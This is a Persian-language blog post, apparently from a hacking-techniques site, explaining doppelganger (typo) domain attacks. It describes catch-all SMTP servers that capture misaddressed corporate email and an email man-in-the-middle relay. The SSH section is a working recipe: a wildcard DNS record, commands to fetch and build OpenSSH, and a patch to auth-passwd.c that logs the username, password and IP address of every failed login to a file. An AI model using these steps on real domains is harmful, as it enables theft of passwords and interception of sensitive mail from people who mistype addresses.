دامین های همزاد – Doppelganger Domains

منتشر شده در دسته : راهکارهای هکر

تحقیقات زیادی درباره دامین های همزاد انجام شده است و سعی شده تا بهترین سناریوهای حمله ایجاد شود . این مطلب برگرفته از یک تحقیق گسترده درباره نحوه بکارگیری دامین با شیوه دامین های همزاد می باشد .

دامین های همزاد چیست ؟

مفهوم برداشت شده از این تحقیق و مقاله این است که می‌توان دامین های یک کمپانی را برای ساب دامین های معتبر که دارای رکوردهای MX‌ هستند بروت فورس کرد . در مثال‌هایی که در اینجا ارایه می‌کنیم دو کمپانی غیرواقعی را فرض می‌کنیم که ساب دامین هایی را برای ایمیل‌های uscompany.com و ukcompany.com پیکربندی کرده‌اند . چرا که کاربران اکثر اوقات در وارد کردن آدرس ایمیل دچار اشتباه شده و نقطه بین نام میزبان و ساب دامین را فراموش می‌کنند .

حملات SMTP

وقتی که این دامین های فرضی را خریداری کردیم بایستی یک سرور SMTP تنظیم کنید ، رکوردهای MX را پیکربندی کنیم و در نهایت همه سرورهای SMTP را بر روی حالت Catch-all قرار دهیم . به این معنی که اگر هر شخصی به دامینی که من مالک آن بودم یعنی دامین های ukcompany.com و uscompany.com ایمیل زد ، جدای از اینکه ایمیل برای چه شخصی ارسال می‌شود ، من همه آن ایمیل‌ها را ضبط و به حساب کاربری دلخواه خود فوروارد و هدایت کنم .

این کار کافی است تا شما قادر باشید داده های حیاتی را کپچر کنید چرا که شما ایمیل‌های حساس زیادی را از سازمان مشاهده خواهید کرد .
در مثال زیر ما سایت فرضی bank.com را در نظر می‌گیریم . این سایت دارای یک کمکی در روسیه است . سایت فرضی ما دارای ساب دامین فرضی ru.bank.com می‌باشد و رکوردهای Mx را به آن FQDN دارد . همچنین company.com (یک شرکت فرضی دیگر) مالک زیردامین us.company.com می‌باشد و رکوردهای MX برای FQDN را دارد . در این مثال فرضی ما هر دو این دامین های همزاد یعنی uscompany.com و rucompany.com را خریداری می‌کنیم . اگر شخصی آدرس ایمیل را به یکی از این دو دامنه اشتباه وارد کرده ، ما قادر خواهیم بود خود را در میانه این مکالمه جای دهیم .

یعنی به نحوی یک نوع حمله Man in the middle . با استفاده از یکسری اسکریپت های ساده پایتون ، وقتی که یک ایمیل از آدرس [email protected] به آدرس [email protected] دریافت کردیم (در این ایمیل همزاد به آدرس ru.bank.com را به اشتباه وارد کرد) ، اسکریپت ما این ایمیل را دریافت کرده و یک ایمیل جدید ایجاد کرده و به آدرس صحیح یعنی [email protected] ارسال می‌کند (سورس ایمیل آدرس [email protected] یعنی آدرس ایمیل همزاد اشتباه که ما مالک دامین آن هستیم ) . به این معنی که هر پاسخی به Jhon یا از Bob به ما خواهد رسید . اکنون ما یک نقشه پیاده‌سازی شده کامل ManInthe Middle داریم که به نحوی پیکربندی شده که به صورت افعالی به شبکه شنود کند و بر اساس فاکتورهای دلخواه به قربانی حمله کند .

حمله SSH

در میان تحقیقات انجام شده علاوه بر سرور SMTP سرورهای SSH را با دامین های همزاد ایجاد کردیم تا ببینیم که آیا افراد سرورها ssh را به اشتباه وارد می‌کنند یا خیر و از این طریق پسوردهای SSH را دریافت کنیم . به منظور انجام یک حمله موفقیت آمیز یکسری موارد بایستی به درستی پیکربندی شوند .
اول از همه بایستی رکوردهای DNS را تنظیم کنیم . به همین منظور رکورد A دی ان اس را به نحوی تنظیم کنیم که همه رکوردها به یک آدرس آیپی اشاره کند . برای مثال رکورد A را بر روی “*” و به آدرس آیپی سرور من اشاره کند . به این شیوه هر ساب دامینی همزادی به سرور من اشاره خواهد کرد . به این معنی که مثلاً دامین های زیر همگی به آدرس آیپی من اشاره خواهد کرد .

Test.uscompany.com
dev.uscompany.com
harchizi.uscompany.com

سپس بایستی سرور SSH خود را تنظیم کنیم . هدف ما چیست ؟ ما می‌خواهیم نام کاربری و رمزعبور افرادی نام سرور را به اشتباه وارده کرده‌اند به سرقت ببریم . به همین منظور سرور SSH را تنظیم می‌کنیم تا نام کاربری و رمزعبور را لاگ کنیم . شما می‌توانید سرور ابونتو ۱۱ را تنظیم کنید / از آنجایی که سرور sshd به صورت عادی پسوردها را رکورد نمی‌کند ، بایستی یک نسخه از sshd را ویرایش کنیم . این کار را می‌توانید با دانلود نسخه پرتابل openssh انجام دهید :

wget http://mirror.team-cymru.org/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz

سپس به منظور استخراج فایل فشرده :

tar xvfz openssh-5.9p1.tar.gz

سپس به پوشه استخراج شده بروید :

cd openssh-5.9p1

شما بایستی فایل auth-passwd.c را قبل از کامپایل sshd ویرایش کنید . در زیر تغییراتی است که در این فایل انجام شده است ولی شما می‌توانید این فایل را از زیر دانلود کنید :

https://www.securepla.net/download/auth-passwd.c
if(!sys_auth_passwd(authctxt, password))
{
FILE *garp;
garp = fopen(“/var/log/sshd_logged”, “a”);
chmod(“/var/log/sshd_logged”, 0600);
fprintf(garp,”%s:%s:%s\n”,authctxt->user,password,get_remote_ipaddr());
fclose(garp);
}
return (result && ok);

اکنون وقتی که یک لاگین اشتباه توسط کاربری صورت می‌پذیرد سرور نام کاربر و رمزعبور و آدرس آیپی را درون فایلی در مسیر /var/log/sshd_logged/ می‌نویسد و ثبت می‌شود .
پس از جایگزینی فایل auth-passwd.c بایستی sshd را کامپایل و make کنیم . به این منظور دستورهای زیر را وارد می‌کنیم :

sudo ./configure –prefix=/opt –sysconfdir=/etc/ssh
make
sudo make install

سپس برای مشاهده اعتبارنامه های لاگ شده دستور زیر را وارد کنید :

tail -f /var/log/sshd_logged

خوشحال می شویم دیدگاههای خود را در میان بگذارید * فرصت پاسخگویی به سوالات در بلاگ وجود ندارد

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *